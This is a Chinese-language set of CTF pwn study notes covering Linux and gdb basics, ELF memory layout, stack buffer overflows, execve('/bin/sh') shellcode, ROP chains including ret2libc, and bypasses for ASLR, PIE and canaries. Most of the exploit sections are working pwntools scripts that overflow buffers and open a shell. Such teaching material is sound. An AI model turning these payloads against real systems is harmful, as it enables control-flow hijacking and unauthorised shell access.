先存个档。
1. Linux入门
| 命令 |
含义 |
示例 |
| pwd |
输出当前路径 |
pwd |
| ls |
列出位于当前路径的文件 |
ls -al |
| cd xxx |
改变当前路径,前往xxx目录 |
cd ~/workspace |
| cat xxx |
直接展示xxx文件的内容 |
cat hw.c |
| * \ |
grep xxx |
*是其他命令,输出含有xxx的行 |
cat hw.c \ |
grep stdio.h |
| * \ |
less |
查看输出更舒服,jk上下移动q退出 |
cat hw.c \ |
less |
| ./xxx |
运行当前目录xxx可执行文件 |
./a.out |
2. 汇编基础
内存地址:在有段/偏移寄存器的语境下一般记为段:偏移,如CS:IP,SS:IP,SS:BP,DS:DI,DS:SI,DS:[]
小端序:低地址存放低位数据
一个程序的内存空间:
| 高地址 |
OS Kernel Space |
|
Stack |
|
↓(blank) |
|
Shared Libraries |
|
↑(blank) |
|
Heap |
|
BSS |
|
Data(RW)数据段 |
|
Text(RX)代码段 |
| 低地址 |
(blank) |
栈:
| SS:SP 栈顶 |
| SS:BP 栈帧基底 |
| SS 栈底 |
寄存器总结
| name |
用途 |
name |
用途 |
| AX |
通常用来存放函数的返回值 |
SS(Stack Seg) |
栈的段地址/基地址 |
| CX |
通常用来做循环计数器 |
CS(Code Seg) |
下一条指令的段地址 |
| BX |
|
DS(Data Seg) |
数据的段地址 |
| DX |
|
SP(Stack Pointer) |
栈顶偏移地址 |
|
|
BP(Base Pointer) |
栈的基址偏移地址 |
|
|
IP(Instruction Pointer) |
下一条指令的偏移地址 |
汇编指令

3. 程序装载与栈帧结构
在Linux的可执行文件ELF
ELF文件类型:
- Relocatable File(*.o):可重定位文件,用来链接的素材
- Executable File(*):可执行文件
- Shared Object File(*.so):共享目标文件,用于做动态链接库
4. 实战环境配置和工具介绍
连接远程服务器:
nc表示netcat
使用file查看文件信息,checksec查看文件保护信息。
利用gdb调试ELF文件:
| 命令 |
简写 |
说明 |
| file |
|
装载一个文件,可以在gdb后加参数,效果等同 |
| kill |
|
终止当前调试的进程 |
| run |
r |
运行当前装载的文件,运行过程中使用Ctrl + C退出程序交互,进入调试(在退出时位置) |
| next |
n |
=step over 单步步过 |
| step |
s |
=step into 单步步入 |
| continue |
c |
继续执行程序,直到下一个中断或程序结束 |
| finish |
fini |
运行到函数返回处 |
| catch |
|
设置捕捉点 |
| thread |
t |
查看当前程序的线程信息 |
| break |
b |
在当前位置设置断点 |
| backtrace |
k |
查看当前函数调用栈信息 |
| stack |
|
stack n 查看栈内容 |
| vmmap |
|
查看程序中的分段,相当于OD中的E模块 |
5. 缓冲区溢出
编写程序时没有考虑或错误设置用户输入长度,导致用户向缓冲区输入长度超过接受变量长度,从而覆盖到其它正常数据,破坏栈帧结构。
缓冲区溢出常见的漏洞函数:
1 2 3 4 5 6 7 8 9
| char *gets(char *str);
int read(int handle, void *buf, int len);
int scanf(const char *format, ...);
int getchar(void);
int printf(const char *restrict format, ...);
|
如果文件中有”/bin/sh”,可用以下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(log_level='debug', os='linux', arch='amd64', bits=64) context.terminal = ['/usr/bin/x-terminal-emulator', '-e']
local = True binary_name = 'filename' port = 12345
if local: p = process(["./" + binary_name]) e = ELF('./' + binary_name) else: p = remote("ctf.spaceskynet.top", port) e = ELF("./" + binary_name) def z(a=''): if local: gdb.attach(p, a) if a == '': raw_input() else: pass ru = lambda x: p.recvuntil(x) rc = lambda x: p.recv(x) sl = lambda x: p.sendline(x) sd = lambda x: p.send(x) sla = lambda delim, data: p.sendlineafter(delim, data)
if __name__ == "__main__": z('b foo') backdoor = e.symbols['backdoor'] bin_sh = next(e.search(b'/bin/sh')) main_addr = e.symbols['main'] payload = b'a' * 0x1c + p32(backdoor) + p32(main_addr) + p32(bin_sh) sl(payload) p.interactive()
|
6. Shellcode
shellcode就是能使程序调用shell的一段代码(通常为汇编级别/机器码)。一旦某种shellcode被执行,我们就能够拿到目标机器的控制权限,从而获取flag。
- system(“/bin/sh”);(?) -> execve(“/bin/sh”, 0, 0)
- 触发中断(int 0x80 / syscall)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ; first.asm ; first get shell test in pwn class ; nasm -f elf32 first.asm ; ld -m elf_i386 -o getShell first.o ; objump -d getShell
global _start _start: push "/sh" push "/bin" mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb int 0x80
|
Shellcode脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
if __name__ == '__main__': context(os='linux', arch='amd64', bits=64) payload1 = asm(shellcraft.sh()) My_Shellcode = """ mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall """ payload2 = asm(My_Shellcode) p = process('./mrctf2020_shellcode') p.sendline(payload2) p.interactive()
|
7. ROP链构造
NX——NO Execute bit(禁止执行位)是应用在CPU上的安全技术,它支持了操作系统级别的DEP——Data Execute Prevention(数据执行保护,Microsoft)。在应用了NX的系统上,(如果可执行文件开启保护),会把内存中的区域分为只供存储指令和只供存储数据两种。NX bit 被标记在内存分页中使用的页表索引上,如果置1,则该页内存数据不允许被执行,即把所有内容作为数据处理。这样可以防范shellcode注入攻击。
ROP——Return-Oriented Programming(返回导向编程)技术,允许攻击者在开启了栈不可执行等安全保护技术的情况下,执行恶意代码。
核心思想是通过栈溢出等方式,改写栈上的控制信息(调用栈,即return address, rbp等),以控制调用栈,劫持程序控制流并执行一些针对性的命令序列(gadgets)。
gadgets主要指一些以ret结尾的小段汇编指令,它们的执行通过ret语句和栈上控制的返回地址相连,构成一条ROP链。链的功能是设置寄存器值,泄露信息,调用函数等。
7.1 Ret2Text
gadget一般存在于Text中,或者广义上存在于ELF文件中(指令部分)。将返回地址改写为能执行某些特定功能的gadget地址,构造ROP链。
辅助工具:ropper、pwntools(ELF class)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(log_level='debug', os='linux', arch='amd64', bits=64) context.terminal = ['/usr/bin/x-terminal-emulator', '-e']
local = True binary_name = 'filename' port = 12345
if local: p = process(["./" + binary_name]) e = ELF('./' + binary_name) else: p = remote("ctf.spaceskynet.top", port) e = ELF("./" + binary_name) def z(a=''): if local: gdb.attach(p, a) if a == '': raw_input() else: pass ru = lambda x: p.recvuntil(x) rc = lambda x: p.recv(x) sl = lambda x: p.sendline(x) sd = lambda x: p.send(x) sla = lambda delim, data: p.sendlineafter(delim, data)
if __name__ == "__main__": backdoor = e.symbols['backdoor'] bin_sh = next(e.search(b'/bin/sh')) poprdi = 0x4011eb payload = b'a' * 0x10 + b'b' * 0x08 + p64(poprdi) + p64(bin_sh) + p64(backdoor) sl(payload) p.interactive()
|
如果文件中没有system函数,如果想要调用system函数,要利用到PLT表。
7.2 Ret2syscall
- 一般为静态链接的可执行文件,指令非常多,也提供了许多gadget
- 最核心gadget:syscall(int 0x80)
静态链接的ELF文件在IDA的函数窗口全是一片白,没有粉色的动态链接。
利用ROPgadget工具,自行生成ROP链。
7.3 PLT表和GOT表
GOT表和PLT表
这里的PLT表示.plt,GOT表表示.got.plt。.got存放其它全局符号信息,与.got.plt不同,与.plt关系不大。
7.4 Ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * context(log_level='debug', os='linux', arch='amd64', bits=64) context.terminal = ['/usr/bin/x-terminal-emulator', '-e']
local = True binary_name = 'filename' port = 12345
if local: p = process(["./" + binary_name]) e = ELF('./' + binary_name) else: p = remote("ctf.spaceskynet.top", port) e = ELF("./" + binary_name) def z(a=''): if local: gdb.attach(p, a) if a == '': raw_input() else: pass ru = lambda x: p.recvuntil(x) rc = lambda x: p.recv(x) sl = lambda x: p.sendline(x) sd = lambda x: p.send(x) sla = lambda delim, data: p.sendlineafter(delim, data)
prdi = 0x400c83 penc = 0x4009a0
if __name__ == "__main__": z('b *0x4009d1\nb *0x400aee') sla('choice',b'1') payload = b'a' * 0x50 + b'b' * 0x08 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(penc) sla('encrypted', payload) ru(b'\x40\x0a') log.info('start detecting libc address') libc_puts = u64(p.recvuntil(b'\x0a', drop=True).ljust(8, b'\x00')) log.success('libc puts address found:' + hex(libc_puts)) libc = LibcSearcher('puts', libc_puts) libc_addr = libc_puts - libc.dump('puts') rtn_addr = 0x400b27 payload = b'a' * 0x50 + b'b' * 8 for i in range(1): payload += p64(rtn_addr) payload += p64(prdi) + p64(libc_addr + libc.dump("str_bin_sh")) + p64(libc_addr + libc.dump("system")) sla('encrypted', payload) p.interactive()
|
8. ELF保护措施及绕过方法
8.1 ASLR
ASLR(Address space layout randomization)——地址空间配置随机化
将可执行文件、共享库、栈、堆的基址随机化,用于防范明确地址的内存破坏攻击,比如ret2libc、stack address。
应对方法:地址泄露
8.2 NX
看[7.ROP链构造]
8.3 PIE
PIE(Position-independent executable)——地址无关代码/可执行文件
无论文件被加载进内存空间的什么地址中,程序都能够正常运行。在共享库链接中有重要作用。共享库文件被动态链接到内存中,PIE使其能正确处理外部引用。在普通ELF文件上,ELF配合ASLR,使其基址不可预测,增加了攻击难度。
整个ELF文件都会被装载进一个随机偏移的连续内存空间里,只有基址变成了未知,其它都是相同的。
应对方法:Partial Writing
程序的加载以内存页(4K)为单位,基地址后3位(hex)一定为0,同一文件被加载进连续地址中。
一般利用Return Address控制跳转,可通过栈上已有地址,只修改最低3位(2B,4位)值,控制转向
8.4 Canary
Canary(Canary in a coal mine)——金丝雀
一串随机数据,放置在栈数据和控制信息之间,函数开始时被放入,退出前检验,若被修改立即终止程序,极大地防范了栈溢出攻击。
应对方法:Canary Leak
- 覆盖栈到Canary处,利用puts等函数泄露地址
- Canary最低字节为0,防止连带输出
小技巧:scanf("%d");输入”+”不覆盖内存数据
9. Stack Pivot
假如可供泄露空间过少,或者需要整段可控的栈空间,这就需要使栈帧移向可控栈空间,控制程序执行流转向。